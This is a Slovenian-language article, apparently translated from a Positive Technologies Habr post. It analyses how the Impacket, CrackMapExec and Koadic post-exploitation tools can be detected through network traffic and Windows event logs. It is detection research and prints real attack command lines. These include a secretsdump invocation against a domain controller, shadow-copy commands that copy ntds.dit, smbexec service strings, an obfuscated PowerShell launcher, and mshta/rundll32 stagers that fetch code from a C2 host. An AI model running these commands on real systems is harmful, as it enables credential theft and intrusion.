Število napadov v podjetniškem sektorju vsako leto narašča: npr
Omeniti velja, da se ta orodja ne uporabljajo za začetni prodor, temveč za razvoj napada znotraj infrastrukture. Napadalci jih uporabljajo v različnih fazah napada po prodoru v obrobje. To je, mimogrede, težko zaznati in pogosto le s pomočjo tehnologije
Kaj smo morali narediti:
- Razumeti, kako delujejo hekerska orodja. Ugotovite, kaj morajo napadalci izkoristiti in katere tehnologije lahko uporabijo.
- Poiščite, česa orodja za informacijsko varnost ne zaznajo v prvih fazah napada. Faza izvidovanja je lahko preskočena, bodisi zato, ker je napadalec notranji napadalec ali zato, ker napadalec izkorišča luknjo v infrastrukturi, ki prej ni bila znana. Možno je obnoviti celotno verigo njegovih dejanj, od tod tudi želja po zaznavanju nadaljnjega gibanja.
- Odstranite lažne pozitivne rezultate iz orodij za zaznavanje vdorov. Ne smemo pozabiti, da so možne pogoste napake, ko se določena dejanja zaznajo zgolj na podlagi izvida. Običajno v infrastrukturi obstaja dovolj načinov, ki se na prvi pogled ne razlikujejo od legitimnih, za pridobitev kakršnih koli informacij.
Kaj ta orodja dajejo napadalcem? Če je to Impacket, potem napadalci prejmejo veliko knjižnico modulov, ki jih je mogoče uporabiti na različnih stopnjah napada, ki sledijo po zlomu perimetra. Mnoga orodja interno uporabljajo module Impacket - na primer Metasploit. Ima dcomexec in wmiexec za oddaljeno izvajanje ukazov, secretsdump za pridobivanje računov iz pomnilnika, ki so dodani iz Impacketa. Posledično bo pravilno zaznavanje dejavnosti takšne knjižnice zagotovilo zaznavanje derivatov.
Ni naključje, da so ustvarjalci o CrackMapExec (ali preprosto CME) napisali "Powered by Impacket". Poleg tega ima CME že pripravljeno funkcionalnost za priljubljene scenarije: Mimikatz za pridobivanje gesel ali njihovih zgoščenih vrednosti, implementacijo Meterpreterja ali agenta Empire za oddaljeno izvajanje in Bloodhound na krovu.
Tretje orodje, ki smo ga izbrali, je bil Koadic. Je sveža, predstavljena je bila na mednarodni hekerski konferenci DEFCON 25 leta 2017 in jo odlikuje nestandarden pristop: deluje preko HTTP, Java Script in Microsoft Visual Basic Script (VBS). Ta pristop se imenuje življenje od zemlje: orodje uporablja nabor odvisnosti in knjižnic, vgrajenih v Windows. Ustvarjalci ga imenujejo COM Command & Control ali C3.
NABAVNI PAKET
Funkcionalnost Impacketa je zelo široka in sega od izvidovanja znotraj AD in zbiranja podatkov iz notranjih strežnikov MS SQL do tehnik za pridobivanje poverilnic: to je relejni napad SMB in pridobivanje datoteke ntds.dit, ki vsebuje zgoščene uporabniške gesla iz krmilnika domene. Impacket tudi izvaja ukaze na daljavo z uporabo štirih različnih metod: WMI, Windows Scheduler Management Service, DCOM in SMB, za to pa potrebuje poverilnice.
Secretsdump
Oglejmo si secretsdump. To je modul, ki lahko cilja tako na uporabniške stroje kot na krmilnike domene. Uporablja se lahko za pridobivanje kopij pomnilniških območij LSA, SAM, SECURITY, NTDS.dit, tako da je viden na različnih stopnjah napada. Prvi korak v delovanju modula je avtentikacija prek SMB, ki zahteva bodisi uporabniško geslo ali njegovo zgoščeno vrednost za samodejno izvedbo napada Pass the Hash. Sledi zahteva za odprtje dostopa do Service Control Manager (SCM) in pridobitev dostopa do registra prek protokola winreg, s pomočjo katerega lahko napadalec ugotovi podatke o vejah, ki jih zanimajo, in pridobi rezultate prek SMB.
Na sl. 1 vidimo, kako se pri uporabi protokola winreg dostop pridobi z uporabo registrskega ključa z LSA. Če želite to narediti, uporabite ukaz DCERPC z operacijsko kodo 15 - OpenKey.
riž. 1. Odpiranje registrskega ključa s protokolom winreg
Nato, ko je pridobljen dostop do ključa, se vrednosti shranijo z ukazom SaveKey z opcode 20. Impacket to naredi na zelo specifičen način. Vrednosti shrani v datoteko, katere ime je niz 8 naključnih znakov, pripetih z .tmp. Poleg tega se nadaljnje nalaganje te datoteke izvede prek SMB iz imenika System32 (slika 2).
riž. 2. Shema za pridobitev registrskega ključa z oddaljenega računalnika
Izkazalo se je, da je takšno aktivnost v omrežju mogoče zaznati s poizvedbami do določenih vej registra z uporabo protokola winreg, določenih imen, ukazov in njihovega vrstnega reda.
Ta modul prav tako pušča sledi v dnevniku dogodkov Windows, kar olajša odkrivanje. Na primer, kot rezultat izvajanja ukaza
secretsdump.py -debug -system SYSTEM -sam SAM -ntds NTDS -security SECURITY -bootkey BOOTKEY -outputfile 1.txt -use-vss -exec-method mmcexec -user-status -dc-ip 192.168.202.100 -target-ip 192.168.202.100 contoso/Administrator:@DC
V dnevniku Windows Server 2016 bomo videli naslednje ključno zaporedje dogodkov:
1. 4624 - prijava na daljavo.
2. 5145 - preverjanje pravic dostopa do oddaljene storitve winreg.
3. 5145 - preverjanje pravic dostopa do datoteke v imeniku System32. Datoteka ima zgoraj omenjeno naključno ime.
4. 4688 - ustvarjanje procesa cmd.exe, ki zažene vssadmin:
“C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin list shadows ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat
5. 4688 - ustvarjanje procesa z ukazom:
"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin create shadow /For=C: ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat
6. 4688 - ustvarjanje procesa z ukazom:
"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C copy ?GLOBALROOTDeviceHarddiskVolumeShadowCopy3WindowsNTDSntds.dit %SYSTEMROOT%TemprmumAfcn.tmp ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat
7. 4688 - ustvarjanje procesa z ukazom:
"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin delete shadows /For=C: /Quiet ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat
Smbexec
Tako kot številna orodja po izkoriščanju ima tudi Impacket module za oddaljeno izvajanje ukazov. Osredotočili se bomo na smexec, ki nudi interaktivno ukazno lupino na oddaljenem računalniku. Ta modul zahteva tudi avtentikacijo prek SMB, bodisi z geslom ali zgoščeno vrednostjo gesla. Na sl. Na sliki 3 vidimo primer delovanja takšnega orodja, v tem primeru je to lokalna skrbniška konzola.
riž. 3. Interaktivna konzola smbexec
Prvi korak smbexeca po preverjanju pristnosti je odpiranje SCM z ukazom OpenSCManagerW (15). Poizvedba je opazna: polje MachineName je DUMMY.
riž. 4. Zahtevajte odpiranje upravitelja nadzora storitev
Nato se storitev ustvari z ukazom CreateServiceW (12). V primeru smbexec lahko vsakič vidimo isto logiko konstrukcije ukaza. Na sl. 5 zelena označuje nespremenljive ukazne parametre, rumena označuje, kaj lahko napadalec spremeni. Preprosto je videti, da je mogoče spremeniti ime izvršljive datoteke, njen imenik in izhodno datoteko, ostalo pa je veliko težje spremeniti, ne da bi pri tem motili logiko modula Impacket.
riž. 5. Zahtevajte ustvarjanje storitve z uporabo Service Control Managerja
Smexec prav tako pušča očitne sledi v dnevniku dogodkov Windows. V dnevniku Windows Server 2016 za interaktivno ukazno lupino z ukazom ipconfig bomo videli naslednje ključno zaporedje dogodkov:
1. 4697 — namestitev storitve na računalnik žrtve:
%COMSPEC% /Q /c echo cd ^> 127.0.0.1C$__output 2^>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat
2. 4688 - izdelava procesa cmd.exe z argumenti iz 1. točke.
3. 5145 - preverjanje pravic dostopa do __output datoteke v imeniku C$.
4. 4697 — namestitev storitve na žrtvin stroj.
%COMSPEC% /Q /c echo ipconfig ^> 127.0.0.1C$__output 2^>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat
5. 4688 - izdelava procesa cmd.exe z argumenti iz 4. točke.
6. 5145 - preverjanje pravic dostopa do __output datoteke v imeniku C$.
Impacket je osnova za razvoj napadalnih orodij. Podpira skoraj vse protokole v infrastrukturi Windows in ima hkrati svoje značilne lastnosti. Tukaj so posebne zahteve winreg in uporaba API-ja SCM z značilnim oblikovanjem ukazov ter oblika imena datoteke in skupna raba SMB SYSTEM32.
CRACKMAPEXEC
Orodje CME je zasnovano predvsem za avtomatizacijo tistih rutinskih dejanj, ki jih mora izvesti napadalec, da napreduje v omrežju. Omogoča vam delo v povezavi z znanim agentom Empire in Meterpreterjem. Za prikrito izvajanje ukazov jih lahko CME prikrije. Z uporabo Bloodhound (ločeno izvidniško orodje) lahko napadalec avtomatizira iskanje aktivne skrbniške seje domene.
Bloodhound
Bloodhound kot samostojno orodje omogoča napredno izvidovanje znotraj omrežja. Zbira podatke o uporabnikih, strojih, skupinah, sejah in je na voljo kot skript PowerShell ali binarna datoteka. Za zbiranje informacij se uporabljajo protokoli LDAP ali SMB. Integracijski modul CME omogoča, da se Bloodhound prenese na žrtvin stroj, zažene in prejme zbrane podatke po izvedbi, s čimer avtomatizira dejanja v sistemu in jih naredi manj opazne. Grafična lupina Bloodhound zbrane podatke predstavi v obliki grafov, ki vam omogočajo, da najdete najkrajšo pot od napadalčevega stroja do skrbnika domene.
riž. 6. Vmesnik Bloodhound
Za delovanje na žrtvinem stroju modul ustvari nalogo z uporabo ATSVC in SMB. ATSVC je vmesnik za delo z Windows Task Schedulerjem. CME uporablja svojo funkcijo NetrJobAdd(1) za ustvarjanje nalog prek omrežja. Primer pošiljanja modula CME je prikazan na sl. 7: To je klic ukaza cmd.exe in zakrita koda v obliki argumentov v formatu XML.
Slika 7. Ustvarjanje naloge prek CME
Ko je naloga poslana v izvedbo, žrtvin stroj sam zažene Bloodhound, kar se vidi v prometu. Za modul so značilne LDAP poizvedbe za pridobivanje standardnih skupin, seznam vseh strojev in uporabnikov v domeni ter pridobivanje informacij o aktivnih uporabniških sejah prek zahteve SRVSVC NetSessEnum.
riž. 8. Pridobivanje seznama aktivnih sej preko SMB
Poleg tega zagon Bloodhounda na računalniku žrtve z omogočenim nadzorom spremlja dogodek z ID-jem 4688 (ustvarjanje procesa) in imenom procesa «C:WindowsSystem32cmd.exe»
. Kar je pri tem opazno, so argumenti ukazne vrstice:
cmd.exe /Q /c powershell.exe -exec bypass -noni -nop -w 1 -C " & ( $eNV:cOmSPEc[4,26,25]-JOiN'')( [chAR[]](91 , 78, 101,116 , 46, 83 , 101 , … , 40,41 )-jOIN'' ) "
Enum_avproducts
Modul enum_avproducts je zelo zanimiv z vidika funkcionalnosti in izvedbe. WMI vam omogoča uporabo jezika poizvedb WQL za pridobivanje podatkov iz različnih predmetov Windows, kar je v bistvu tisto, kar uporablja ta modul CME. Ustvari poizvedbe razredoma AntiSpywareProduct in AntiМirusProduct o orodjih za zaščito, nameščenih na računalniku žrtve. Za pridobitev potrebnih podatkov se modul poveže z imenskim prostorom rootSecurityCenter2, nato ustvari poizvedbo WQL in prejme odgovor. Na sl. Slika 9 prikazuje vsebino tovrstnih zahtev in odgovorov. V našem primeru je bil najden Windows Defender.
riž. 9. Omrežna dejavnost modula enum_avproducts
Pogosto je lahko onemogočeno preverjanje WMI (Trace WMI-Activity), v katerih dogodkih lahko najdete koristne informacije o poizvedbah WQL. Če pa je omogočeno, se bo, če se zažene skript enum_avproducts, shranil dogodek z ID-jem 11. Vseboval bo ime uporabnika, ki je poslal zahtevo, in ime v imenskem prostoru rootSecurityCenter2.
Vsak od modulov CME je imel svoje lastne artefakte, pa naj gre za posebne poizvedbe WQL ali ustvarjanje določene vrste nalog v razporejevalniku opravil z zameglitvijo in aktivnostjo, specifično za Bloodhound, v LDAP in SMB.
KOADIC
Posebnost Koadic je uporaba tolmačev JavaScript in VBScript, vgrajenih v Windows. V tem smislu sledi trendu življenja od zemlje – to pomeni, da nima zunanjih odvisnosti in uporablja standardna orodja Windows. To je orodje za popolno poveljevanje in nadzor (CnC), saj se po okužbi na stroj namesti »vsadek«, ki omogoča nadzor nad njim. Takšen stroj se v terminologiji Koadic imenuje "zombi". Če na strani žrtve ni dovolj privilegijev za polno delovanje, jih lahko Koadic poveča z uporabo tehnik obvoda nadzora uporabniškega računa (UAC bypass).
riž. 10. Koadic Shell
Žrtev mora začeti komunikacijo s strežnikom Command & Control. Da bi to naredila, se mora obrniti na predhodno pripravljen URI in prejeti glavno telo Koadic z enim od stopenj. Na sl. Slika 11 prikazuje primer za mshta stager.
riž. 11. Inicializacija seje s strežnikom CnC
Na podlagi odzivne spremenljivke WS postane jasno, da se izvajanje izvaja prek WScript.Shell, spremenljivke STAGER, SESSIONKEY, JOBKEY, JOBKEYPATH, EXPIRE pa vsebujejo ključne informacije o parametrih trenutne seje. To je prvi par zahteva-odgovor v povezavi HTTP s strežnikom CnC. Naknadne zahteve so neposredno povezane s funkcionalnostjo klicanih modulov (vsadkov). Vsi moduli Koadic delujejo samo z aktivno sejo s CnC.
Mimikatz
Tako kot CME deluje z Bloodhound, Koadic deluje z Mimikatz kot ločen program in ima več načinov za zagon. Spodaj je par zahteva-odgovor za prenos vsadka Mimikatz.
riž. 12. Prenesite Mimikatz v Koadic
Vidite lahko, kako se je spremenil format URI v zahtevi. Zdaj vsebuje vrednost za spremenljivko csrf, ki je odgovorna za izbrani modul. Ne bodite pozorni na njeno ime; Vsi vemo, da se CSRF običajno razume drugače. Odgovor je bil isti glavni del Koadic, ki mu je bila dodana koda, povezana z Mimikatz. Je precej velik, zato si poglejmo ključne točke. Tukaj imamo knjižnico Mimikatz, kodirano v base64, serializiran razred .NET, ki jo bo vstavil, in argumente za zagon Mimikatza. Rezultat izvedbe se prenese po omrežju v čistem besedilu.
riž. 13. Rezultat izvajanja Mimikatza na oddaljenem računalniku
Exec_cmd
Koadic ima tudi module, ki lahko izvajajo ukaze na daljavo. Tukaj bomo videli isto metodo generiranja URI-jev in znani spremenljivki sid in csrf. V primeru modula exec_cmd je telesu dodana koda, ki lahko izvaja ukaze lupine. Spodaj je prikazana taka koda, ki jo vsebuje odziv HTTP strežnika CnC.
riž. 14. Koda vsadka exec_cmd
Za izvajanje kode je potrebna spremenljivka GAWTUUGCFI z znanim atributom WS. S svojo pomočjo vsadek pokliče lupino in obdeluje dve veji kode - shell.exec z vrnitvijo izhodnega toka podatkov in shell.run brez vrnitve.
Koadic ni tipično orodje, vendar ima svoje lastne artefakte, s katerimi ga je mogoče najti v zakonitem prometu:
- posebno oblikovanje HTTP zahtev,
- z uporabo API-ja winHttpRequests,
- ustvarjanje predmeta WScript.Shell prek ActiveXObject,
- veliko izvršljivo telo.
Začetno povezavo sproži stager, tako da je mogoče zaznati njegovo dejavnost prek dogodkov Windows. Za mshta je to dogodek 4688, ki označuje ustvarjanje procesa z atributom start:
C:Windowssystem32mshta.exe http://192.168.211.1:9999/dXpT6
Medtem ko Koadic teče, lahko vidite drugih 4688 dogodkov z atributi, ki ga popolnoma označujejo:
rundll32.exe http://192.168.241.1:9999/dXpT6?sid=1dbef04007a64fba83edb3f3928c9c6c; csrf=;......mshtml,RunHTMLApplication
rundll32.exe http://192.168.202.136:9999/dXpT6?sid=12e0bbf6e9e5405690e5ede8ed651100;csrf=18f93a28e0874f0d8d475d154bed1983;......mshtml,RunHTMLApplication
"C:Windowssystem32cmd.exe" /q /c chcp 437 & net session 1> C:Usersuser02AppDataLocalTemp6dc91b53-ddef-2357-4457-04a3c333db06.txt 2>&1
"C:Windowssystem32cmd.exe" /q /c chcp 437 & ipconfig 1> C:Usersuser02AppDataLocalTemp721d2d0a-890f-9549-96bd-875a495689b7.txt 2>&1
Ugotovitve
Trend preživetja z zemljo postaja vse bolj priljubljen med kriminalci. Za svoje potrebe uporabljajo orodja in mehanizme, vgrajene v Windows. Opažamo, da se priljubljena orodja Koadic, CrackMapExec in Impacket, ki sledijo temu principu, vse pogosteje pojavljajo v poročilih APT. Tudi število forkov na GitHubu za ta orodja narašča, pojavljajo pa se tudi novi (zdaj jih je že okoli tisoč). Trend postaja vse bolj priljubljen zaradi svoje preprostosti: napadalci ne potrebujejo orodij tretjih oseb; že so na strojih žrtev in jim pomagajo obiti varnostne ukrepe. Osredotočeni smo na proučevanje omrežne komunikacije: vsako zgoraj opisano orodje pušča svoje sledi v omrežnem prometu; njihova podrobna študija nam je omogočila poučevanje našega izdelka
Avtorji:
- Anton Tyurin, vodja oddelka za strokovne storitve, PT Expert Security Center, Positive Technologies
- Egor Podmokov, strokovnjak, PT Expert Security Center, Positive Technologies
Vir: www.habr.com